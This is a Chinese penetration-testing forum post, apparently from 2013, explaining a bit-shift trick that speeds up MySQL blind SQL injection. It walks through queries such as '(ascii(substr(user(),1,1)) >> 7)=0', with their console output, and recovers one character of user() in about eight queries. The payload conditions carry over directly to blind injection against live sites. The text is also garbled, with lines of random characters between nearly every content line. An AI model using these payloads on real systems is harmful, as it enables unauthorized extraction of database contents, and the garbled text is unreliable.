中国网络渗透测试联盟
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
[打印本页]
作者:
admin
时间:
2013-3-7 13:25
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
- o- k1 V+ Y* U3 j, \$ H
8 a {$ x- @# J* P
3 d0 Q9 e. q6 j* G
. N" N* O7 b& ]) d$ O
下面将以查询mysql数据库当中user()的第一位为例:
5 [$ P2 A# x5 M6 |" r
+ O/ Q8 `5 A+ {3 J5 E6 T/ |% c3 {
( u* C/ X D) r& G
" k* I! I0 u+ z) b* E& O2 J: z! C) F3 c
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
( ~2 ~* M' G) ^/ J! t' j3 v
& H. v6 j. n5 x) j" }1 @
i4 ~# I- R, | o9 k0 j* c1 e% A, H
) x; K. ^9 A6 R. q
首先执行如下sql语句:
6 K% Z9 }8 j, i, N7 |' B
, [4 }3 B& N3 A) B
9 n0 }+ e1 O& P
+ b: H) ~4 M: t6 k P. Q2 Q3 K- D$ ^3 @( q
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
* u) {+ v" }6 u* C" w1 L- K3 V
) B1 m7 |' d8 t9 }6 P' f
; B& ^# T0 d# G
7 M: f$ L" U% C: f+ _8 s6 ` ?
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
/ ]1 C5 a* Z9 O5 e& x! y
. E8 `5 V9 h; ^/ S, X; d
" t& h' f* i& o# J
8 ~0 I2 s$ f5 F* _
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
0 Z3 C% F8 K( D5 F+ [9 g; U& m" K, c: O
) s" \- P/ `7 r0 v
% `5 }5 e2 x( p* Q
0 [; |; I7 I, H9 [: T
如果运算结果为1,说明第一位为0,不为1
( n6 L! Q X3 g9 v% V
- L9 J- S3 _" _# Q9 y
1 Z. k8 j! D1 i* ]9 o2 k
2 |+ A; J! O8 ~0 e( G
+————————————–+
. W, x3 U5 P( z4 {3 q9 r$ m; M
! d- _0 y9 ^0 E3 E
| (ascii((substr(user(),1,1))) >> 7)=0 |
* r) H, l3 z1 A. b: I
! N0 t0 v. h ]) D3 I1 h; U2 E6 m3 E
+————————————–+
4 r+ z0 W# h u
) }0 O: I+ P' \+ s3 W% H
| 1 |
`5 a/ @) C+ R' s% |' o
- o$ p* j8 v9 D$ j9 U. X8 Z4 }5 `
+————————————–+
# i, E8 J9 N; n) }& i* q
9 f6 E& I7 ~, B5 V1 x- W. ^9 k* ^
1 row in set (0.00 sec)
% o$ S2 X5 J; f5 L1 H" ]( [: i
2 w1 ^- \' c4 o! |2 _4 i
这样我们就确定这个8bit的ascii的第一位为0
) g, H% \1 o! H' ]- j0 [. D
9 I: T N5 M/ o" A- G V: X1 D
2 N) [) ?2 J. j3 D% ], G
* J7 _0 }$ W; C/ R8 D( k* f
第二次我们来做6次右偏移来确定前两位
* [1 [0 q8 b5 x3 l' I9 K+ ~3 t
( U+ P) n+ Y2 U' y5 ]0 x
+ i% {% @* O; L8 o3 c
" N @: p$ o, J3 [. r5 c
前两位可能是01或00,即依然可以与0做比较,
5 F5 [3 w9 O$ r3 N; y
3 a: z5 W, D; a
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
1 v6 J6 j* s. l( o2 B
3 `: S1 f2 z# S- H+ q- i
+————————————–+
& m, I7 p! q* u( N0 x. v& j! e
9 F* }) X' G1 o0 f/ s
| (ascii((substr(user(),1,1))) >> 6)=0 |
' g5 T# K7 e' t! j
1 s4 c( ^2 q: ?3 ?
+————————————–+
+ T# {! `* ~* h4 d5 x: [
( Q* R& @, S. c) w
| 0 |
, R6 O; [( D: ]/ S7 ~! [
# k! ^0 C& j1 Y& z8 Y
+————————————–+
/ E3 X" M5 C$ Y$ ~+ B
f$ f! Z8 j C
1 row in set (0.00 sec)
5 \# M" g* h/ ]6 a4 M9 s- q S
5 p$ _5 J. C: ^/ r7 R Z
4 A$ z' L* r; Y+ h
' A5 t) M) S9 d8 N2 f
结果为0,即第二位为1
. S' u8 P4 }* U
- B* V5 N+ l2 E
/ a U" y- E% \1 G
1 X" ]4 a6 k: I; H
开始猜测前三位为010或011
8 k. j1 K2 m; l9 |# \4 v$ S8 x; H- C" ?
- O- d+ K9 J. @/ r0 w
& d4 c0 @" F! F9 k
4 o3 q; c( L: O" i; F
让我们看看010和011的ascii码是多少
( |: T. e9 C. k% K/ G" w" R
, z9 V4 H& `; L# m3 y& O7 T/ c, s
# T( }) Q2 M8 X& X2 {0 b/ \& L
: @' [2 |5 c# ^
分别查询select b’011′ select b’010′
5 T! u7 J. J4 s' C4 n! |
+ W7 l8 C+ G4 x3 h9 Q- Q- ^
6 q- N4 A# m8 q! L
7 } e3 ~4 u+ I4 W4 x
获得结果 010 = 2 011 = 3
6 a& J1 v' s0 l
, b" V1 H5 ~! g
( W3 M. `5 q) y; t" [0 M* r! v
& W E: n3 J* b5 H) v/ v. W& E
执行如下sql:
; r6 J- i+ j5 n. `. u0 H. [! Y
/ S# @: i" k. b, c: e9 [3 d; F- p' I3 V
* s) i" s8 u; q1 _7 f5 t
4 b& S5 O' ? Y+ r
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
1 s& x4 ^9 ~ [/ b7 b6 ]
% R0 B3 g+ l. W) C
+————————————–+
* o0 T7 v3 u: t! j
( g% p* t$ X1 X5 ]* ]
| (ascii((substr(user(),1,1))) >> 5)=2 |
. T0 b0 v8 w2 [6 u+ }: A; n, k
( f4 q; q. B$ _3 d
+————————————–+
3 m" {7 H0 u- p0 c; T
7 b+ V7 y3 }2 b' B0 d- J
| 0 |
7 @+ s. a+ K# M& B4 \( K9 n6 i
2 s/ s+ U6 Y# F) u; e( C
+————————————–+
. M# O8 R5 M! f+ s3 [
3 u9 U+ k( |( e4 ~) K
即前三位不为010,而是011
- ]# d7 Q0 L/ h( Z
# G$ i5 e8 N- w" |
`6 ?$ N5 Y2 @! L) O1 W, M, J8 r
m9 t; D% e1 y; F9 @. W1 ~) }# {6 t
直到获得最后一位
2 k' }( ^1 J/ g6 B# c
% \. S) _, a( t; [* Z
* q; ?0 j$ M! p; T2 c( t) `
/ k# O" ~0 @, R
最终结果为:01110010
0 `: x) V: t0 `; H; w. s$ H4 k
N, E. `8 v1 h/ ?
8 _) M4 f0 `! p0 ?: m3 L
3 h6 Q% z8 [" h9 [1 ^, J
转换一下:
# i& g% ~$ C: a9 O- v
: f5 v% U [6 _
' t; B- O2 E3 `" a" ?
) U& u I/ Z. b( }
select b’01110010′
, U. F( O0 ~0 v T( r/ q0 q- F
: f$ N- A4 |4 C
6 n; {: W1 W6 V7 Z+ @3 I
l( ~3 R8 U; w* Q
查询结果
+ B! r- v5 c" b' l: M- T
- u1 U9 w4 K, f g5 q# s I
3 `( ]2 w3 ]7 I6 O5 @" v
1 ?/ I$ o% j/ |! L; I
+————-+
7 {: [4 J1 l4 I- [3 k
5 t, \2 l+ `( F& \' O+ o
| b’01110010′ |
' j7 O0 B8 v3 d0 K! O2 ^* ]6 F
& G' [& F" ^ X0 i
+————-+
% {2 a4 r8 j9 X1 M+ Z! g: `1 V
6 C/ Z) t g1 g) b, i+ t
| r |
; m4 s- \+ |' h
2 `) D( T) x4 l: v
+————-+
; X2 s7 h [0 I
! N F! I. y) {9 g; \# g# S, W, A
1 row in set (0.00 sec)
7 ~( |+ L) }3 A0 Y
9 k; F: Y' c& D; E
0 B4 M' n0 f7 u T
+ k! J; Q1 w# m [( G. D( f
这样我们就获得了user()的第一位.其它位依此类推
^7 U& m4 T& e7 D! a6 {4 x: R
6 G" j* i/ m `0 _
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2